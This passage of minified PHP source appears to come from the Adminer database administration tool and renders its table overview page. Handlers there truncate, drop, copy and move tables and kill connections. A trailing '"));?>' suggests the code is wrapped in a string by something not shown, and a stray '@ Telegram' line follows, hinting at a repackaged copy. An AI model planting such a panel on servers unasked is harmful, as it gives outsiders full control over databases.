as$K){echo"<tr>";$x=array_shift($K);echo"<th><code class='jush-".JUSH.($P?"status":"set")."'>".h($x)."</code>";foreach($K
as$X)echo"<td>".nl_br(h($X));}echo"</table>\n";}}elseif(isset($_GET["script"])){header("Content-Type: text/javascript; charset=utf-8");if($_GET["script"]=="db"){$ri=array("Data_length"=>0,"Index_length"=>0,"Data_free"=>0);foreach(table_status()as$B=>$S){json_row("Comment-$B",h($S["Comment"]));if(!is_view($S)){foreach(array("Engine","Collation")as$x)json_row("$x-$B",h($S[$x]));foreach($ri+array("Auto_increment"=>0,"Rows"=>0)as$x=>$X){if($S[$x]!=""){$X=format_number($S[$x]);if($X>=0)json_row("$x-$B",($x=="Rows"&&$X&&$S["Engine"]==(JUSH=="pgsql"?"table":"InnoDB")?"~ $X":$X));if(isset($ri[$x]))$ri[$x]+=($S["Engine"]!="InnoDB"||$x!="Data_free"?$S[$x]:0);}elseif(array_key_exists($x,$S))json_row("$x-$B","?");}}}foreach($ri
as$x=>$X)json_row("sum-$x",format_number($X));json_row("");}elseif($_GET["script"]=="kill")connection()->query("KILL ".number($_POST["kill"]));else{foreach(count_tables(adminer()->databases())as$j=>$X){json_row("tables-$j",$X);json_row("size-$j",db_size($j));}json_row("");}exit;}else{$Bi=array_merge((array)$_POST["tables"],(array)$_POST["views"]);if($Bi&&!$l&&!$_POST["search"]){$I=true;$if="";if(JUSH=="sql"&&$_POST["tables"]&&count($_POST["tables"])>1&&($_POST["drop"]||$_POST["truncate"]||$_POST["copy"]))queries("SET foreign_key_checks = 0");if($_POST["truncate"]){if($_POST["tables"])$I=truncate_tables($_POST["tables"]);$if='Tables have been truncated.';}elseif($_POST["move"]){$I=move_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$if='Tables have been moved.';}elseif($_POST["copy"]){$I=copy_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$if='Tables have been copied.';}elseif($_POST["drop"]){if($_POST["views"])$I=drop_views($_POST["views"]);if($I&&$_POST["tables"])$I=drop_tables($_POST["tables"]);$if='Tables have been dropped.';}elseif(JUSH=="sqlite"&&$_POST["check"]){foreach((array)$_POST["tables"]as$R){foreach(get_rows("PRAGMA integrity_check(".q($R).")")as$K)$if
.="<b>".h($R)."</b>: ".h($K["integrity_check"])."<br>";}}elseif(JUSH!="sql"){$I=(JUSH=="sqlite"?queries("VACUUM"):apply_queries("VACUUM".($_POST["optimize"]?"":" ANALYZE"),$_POST["tables"]));$if='Tables have been optimized.';}elseif(!$_POST["tables"])$if='No tables.';elseif($I=queries(($_POST["optimize"]?"OPTIMIZE":($_POST["check"]?"CHECK":($_POST["repair"]?"REPAIR":"ANALYZE")))." TABLE ".implode(", ",array_map('Adminer\idf_escape',$_POST["tables"])))){while($K=$I->fetch_assoc())$if
.="<b>".h($K["Table"])."</b>: ".h($K["Msg_text"])."<br>";}queries_redirect(substr(ME,0,-1),$if,$I);}page_header(($_GET["ns"]==""?'Database'.": ".h(DB):'Schema'.": ".h($_GET["ns"])),$l,true);if(adminer()->homepage()){if($_GET["ns"]!==""){echo"<h3 id='tables-views'>".'Tables and views'."</h3>\n";$Ai=tables_list();if(!$Ai)echo"<p class='message'>".'No tables.'."\n";else{echo"<form action='' method='post'>\n";if(support("table")){echo"<fieldset><legend>".'Search data in tables'." <span id='selected2'></span></legend><div>","<input type='search' name='query' value='".h($_POST["query"])."'>",script("qsl('input').onkeydown = partialArg(bodyKeydown, 'search');","")," <input type='submit' name='search' value='".'Search'."'>\n","</div></fieldset>\n";if($_POST["search"]&&$_POST["query"]!=""){$_GET["where"][0]["op"]=driver()->convertOperator("LIKE %%");search_tables();}}echo"<div class='scrollable'>\n","<table class='nowrap checkable odds'>\n",script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});"),'<thead><tr class="wrap">','<td><input id="check-all" type="checkbox" class="jsonly">'.script("qs('#check-all').onclick = partial(formCheck, /^(tables|views)\[/);",""),'<th>'.'Table','<td>'.'Engine'.doc_link(array('sql'=>'storage-engines.html')),'<td>'.'Collation'.doc_link(array('sql'=>'charset-charsets.html','mariadb'=>'supported-character-sets-and-collations/')),'<td>'.'Data Length'.doc_link(array('sql'=>'show-table-status.html','pgsql'=>'functions-admin.html#FUNCTIONS-ADMIN-DBOBJECT','oracle'=>'REFRN20286')),'<td>'.'Index Length'.doc_link(array('sql'=>'show-table-status.html','pgsql'=>'functions-admin.html#FUNCTIONS-ADMIN-DBOBJECT')),'<td>'.'Data Free'.doc_link(array('sql'=>'show-table-status.html')),'<td>'.'Auto Increment'.doc_link(array('sql'=>'example-auto-increment.html','mariadb'=>'auto_increment/')),'<td>'.'Rows'.doc_link(array('sql'=>'show-table-status.html','pgsql'=>'catalog-pg-class.html#CATALOG-PG-CLASS','oracle'=>'REFRN20286')),(support("comment")?'<td>'.'Comment'.doc_link(array('sql'=>'show-table-status.html','pgsql'=>'functions-info.html#FUNCTIONS-INFO-COMMENT-TABLE')):''),"</thead>\n";$T=0;foreach($Ai
as$B=>$U){$Fj=($U!==null&&!preg_match('~table|sequence~i',$U));$t=h("Table-".$B);echo'<tr><td>'.checkbox(($Fj?"views[]":"tables[]"),$B,in_array("$B",$Bi,true),"","","",$t),'<th>'.(support("table")||support("indexes")?"<a href='".h(ME)."table=".urlencode($B)."' title='".'Show structure'."' id='$t'>".h($B).'</a>':h($B));if($Fj)echo'<td colspan="6"><a href="'.h(ME)."view=".urlencode($B).'" title="'.'Alter view'.'">'.(preg_match('~materialized~i',$U)?'Materialized view':'View').'</a>','<td align="right"><a href="'.h(ME)."select=".urlencode($B).'" title="'.'Select data'.'">?</a>';else{foreach(array("Engine"=>array(),"Collation"=>array(),"Data_length"=>array("create",'Alter table'),"Index_length"=>array("indexes",'Alter indexes'),"Data_free"=>array("edit",'New item'),"Auto_increment"=>array("auto_increment=1&create",'Alter table'),"Rows"=>array("select",'Select data'),)as$x=>$_){$t=" id='$x-".h($B)."'";echo($_?"<td align='right'>".(support("table")||$x=="Rows"||(support("indexes")&&$x!="Data_length")?"<a href='".h(ME."$_[0]=").urlencode($B)."'$t title='$_[1]'>?</a>":"<span$t>?</span>"):"<td id='$x-".h($B)."'>");}$T++;}echo(support("comment")?"<td id='Comment-".h($B)."'>":""),"\n";}echo"<tr><td><th>".sprintf('%d in total',count($Ai)),"<td>".h(JUSH=="sql"?get_val("SELECT @@default_storage_engine"):""),"<td>".h(db_collation(DB,collations()));foreach(array("Data_length","Index_length","Data_free")as$x)echo"<td align='right' id='sum-$x'>";echo"\n","</table>\n","</div>\n";if(!information_schema(DB)){echo"<div class='footer'><div>\n";$_j="<input type='submit' value='".'Vacuum'."'> ".on_help("'VACUUM'");$Vf="<input type='submit' name='optimize' value='".'Optimize'."'> ".on_help(JUSH=="sql"?"'OPTIMIZE TABLE'":"'VACUUM OPTIMIZE'");echo"<fieldset><legend>".'Selected'." <span id='selected'></span></legend><div>".(JUSH=="sqlite"?$_j."<input type='submit' name='check' value='".'Check'."'> ".on_help("'PRAGMA integrity_check'"):(JUSH=="pgsql"?$_j.$Vf:(JUSH=="sql"?"<input type='submit' value='".'Analyze'."'> ".on_help("'ANALYZE TABLE'").$Vf."<input type='submit' name='check' value='".'Check'."'> ".on_help("'CHECK TABLE'")."<input type='submit' name='repair' value='".'Repair'."'> ".on_help("'REPAIR TABLE'"):"")))."<input type='submit' name='truncate' value='".'Truncate'."'> ".on_help(JUSH=="sqlite"?"'DELETE'":"'TRUNCATE".(JUSH=="pgsql"?"'":" TABLE'")).confirm()."<input type='submit' name='drop' value='".'Drop'."'>".on_help("'DROP TABLE'").confirm()."\n";$i=(support("scheme")?adminer()->schemas():adminer()->databases());if(count($i)!=1&&JUSH!="sqlite"){$j=(isset($_POST["target"])?$_POST["target"]:(support("scheme")?$_GET["ns"]:DB));echo"<p><label>".'Move to other database'.": ",($i?html_select("target",$i,$j):'<input name="target" value="'.h($j).'" autocapitalize="off">'),"</label> <input type='submit' name='move' value='".'Move'."'>",(support("copy")?" <input type='submit' name='copy' value='".'Copy'."'> ".checkbox("overwrite",1,$_POST["overwrite"],'overwrite'):""),"\n";}echo"<input type='hidden' name='all' value=''>",script("qsl('input').onclick = function () { selectCount('selected', formChecked(this, /^(tables|views)\[/));".(support("table")?" selectCount('selected2', formChecked(this, /^tables\[/) || $T);":"")." }"),input_token(),"</div></fieldset>\n","</div></div>\n";}echo"</form>\n",script("tableCheck();");}echo"<p class='links'><a href='".h(ME)."create='>".'Create table'."</a>\n",(support("view")?"<a href='".h(ME)."view='>".'Create view'."</a>\n":"");if(support("routine")){echo"<h3 id='routines'>".'Routines'."</h3>\n";$yh=routines();if($yh){echo"<table class='odds'>\n",'<thead><tr><th>'.'Name'.'<td>'.'Type'.'<td>'.'Return type'."<td></thead>\n";foreach($yh
as$K){$B=($K["SPECIFIC_NAME"]==$K["ROUTINE_NAME"]?"":"&name=".urlencode($K["ROUTINE_NAME"]));echo'<tr>','<th><a href="'.h(ME.($K["ROUTINE_TYPE"]!="PROCEDURE"?'callf=':'call=').urlencode($K["SPECIFIC_NAME"]).$B).'">'.h($K["ROUTINE_NAME"]).'</a>','<td>'.h($K["ROUTINE_TYPE"]),'<td>'.h($K["DTD_IDENTIFIER"]),'<td><a href="'.h(ME.($K["ROUTINE_TYPE"]!="PROCEDURE"?'function=':'procedure=').urlencode($K["SPECIFIC_NAME"]).$B).'">'.'Alter'."</a>";}echo"</table>\n";}echo'<p class="links">'.(support("procedure")?'<a href="'.h(ME).'procedure=">'.'Create procedure'.'</a>':'').'<a href="'.h(ME).'function=">'.'Create function'."</a>\n";}if(support("sequence")){echo"<h3 id='sequences'>".'Sequences'."</h3>\n";$Ph=get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema() ORDER BY sequence_name");if($Ph){echo"<table class='odds'>\n","<thead><tr><th>".'Name'."</thead>\n";foreach($Ph
as$X)echo"<tr><th><a href='".h(ME)."sequence=".urlencode($X)."'>".h($X)."</a>\n";echo"</table>\n";}echo"<p class='links'><a href='".h(ME)."sequence='>".'Create sequence'."</a>\n";}if(support("type")){echo"<h3 id='user-types'>".'User types'."</h3>\n";$yj=types();if($yj){echo"<table class='odds'>\n","<thead><tr><th>".'Name'."</thead>\n";foreach($yj
as$X)echo"<tr><th><a href='".h(ME)."type=".urlencode($X)."'>".h($X)."</a>\n";echo"</table>\n";}echo"<p class='links'><a href='".h(ME)."type='>".'Create type'."</a>\n";}if(support("event")){echo"<h3 id='events'>".'Events'."</h3>\n";$L=get_rows("SHOW EVENTS");if($L){echo"<table>\n","<thead><tr><th>".'Name'."<td>".'Schedule'."<td>".'Start'."<td>".'End'."<td></thead>\n";foreach($L
as$K)echo"<tr>","<th>".h($K["Name"]),"<td>".($K["Execute at"]?'At given time'."<td>".$K["Execute at"]:'Every'." ".$K["Interval value"]." ".$K["Interval field"]."<td>$K[Starts]"),"<td>$K[Ends]",'<td><a href="'.h(ME).'event='.urlencode($K["Name"]).'">'.'Alter'.'</a>';echo"</table>\n";$Hc=get_val("SELECT @@event_scheduler");if($Hc&&$Hc!="ON")echo"<p class='error'><code class='jush-sqlset'>event_scheduler</code>: ".h($Hc)."\n";}echo'<p class="links"><a href="'.h(ME).'event=">'.'Create event'."</a>\n";}if($Ai)echo
script("ajaxSetHtml('".js_escape(ME)."script=db');");}}}page_footer();"));?>
@ Telegram